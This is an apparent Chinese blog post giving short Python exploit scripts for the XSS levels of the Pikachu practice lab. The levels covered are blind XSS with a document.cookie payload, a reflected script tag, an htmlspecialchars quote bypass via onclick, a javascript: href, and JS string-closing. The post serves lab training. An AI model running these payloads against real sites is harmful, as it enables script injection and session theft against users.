pikachu自编exp,xss之盲打,过滤,htmlspecialchars,href,js

xss之盲打

复制代码
#盲打的意思就是,你注入的内容,不会在前台出现,只有放管理员在后台触发时候,才会执行回显

过滤

htmlspecialchars

复制代码
#htmlspecialchars () 没有加 ENT_QUOTES,单引号 ' 不被转义,导致可以闭合属性、插入恶意事件。

href

复制代码
#href 输出:没过滤协议 → javascript: 执行代码

js

复制代码
#JS 输出:没转义引号 → 闭合字符串执行代码
复制代码
#盲打的意思就是,你注入的内容,不会在前台出现,只有放管理员在后台触发时候,才会执行回显
import requests

url = "http://192.168.8.1/pikachu-master/vul/xss/xssblind/xss_blind.php"

payload = "<script>alert(document.cookie)</script>"

resp = requests.post(url, data={"content":payload,"name":"name"})

print("[+] 注入完成! ")
print("[+] 检测是否注入成功: ",payload in resp.text)
复制代码
import requests

url = "http://192.168.8.1/pikachu-master/vul/xss/xss_01.php"

payload = "<Script>alert(1)</Script>"

resp = requests.get(url,params={"message":payload,"submit":"submit"})

print("[+] 完成注入")
print("[+] 查看是否注入成功: ",'<Script>' in resp.text)
复制代码
#htmlspecialchars () 没有加 ENT_QUOTES,单引号 ' 不被转义,导致可以闭合属性、插入恶意事件。
import requests

url = "http://192.168.8.1/pikachu-master/vul/xss/xss_02.php"

payload = "' onclick='alert(1)'"

resp = requests.get(url,params={"message":payload,"submit":"submit"})

print("[+] 注入完成")
print("[+] 查看是否注入成功: ",payload in resp.text)
print("点击一下页面,弹出弹框")
复制代码
#href 输出:没过滤协议 → javascript: 执行代码
import requests

url = "http://192.168.8.1/pikachu-master/vul/xss/xss_03.php"

payload = "javascript:alert(1);"

resp = requests.get(url, params={"message":payload,"submit":"submit"})

print("[+] 注入完成")
print("[+] 查看注入是否成功:",payload in resp.text )
print("[+] 点击页面的链接")
print(f"[+] 或者点击:{url}?message={payload}")
复制代码
#JS 输出:没转义引号 → 闭合字符串执行代码
import requests

url = "http://192.168.8.1/pikachu-master/vul/xss/xss_04.php"

payload =  "';alert(1);//"

resp = requests.get(url,params={"message":payload,"submit":"submit"})

print("[+] 注入完成")
print("[+] 查看是否注入成功: ","alert" in resp.text)
相关推荐
夜郎king3 分钟前
湖南高考天气查询:基于 HTML5 与百度天气 API 实现页面展示
前端·html5·百度天气实践·天气信息可视化
云水一下7 小时前
TypeScript 从零基础到精通(五):高级类型与泛型
前端·javascript·typescript
counterxing7 小时前
vibe coding 之后,我更不想打字了
前端·agent·ai编程
copyer_xyf8 小时前
Python 模块与包的导入导出
前端·后端·python
研☆香8 小时前
es6新特性功能介绍(四)
前端·ecmascript·es6
微扬嘴角8 小时前
React篇1--JSX语法规则、组件、组件实例的3大特性
前端·react.js·前端框架
copyer_xyf8 小时前
Python venv 虚拟环境
前端·后端·python
无聊的老谢8 小时前
Vue 3 + TypeScript 构建大型电信运维平台的前端架构设计
前端·vue.js·typescript
xiaofeichaichai8 小时前
Map / Set / WeakMap / WeakSet
前端·javascript
李可以量化8 小时前
成交量的终极量化策略:价量共振指标完整实现(下篇)
前端·数据库·人工智能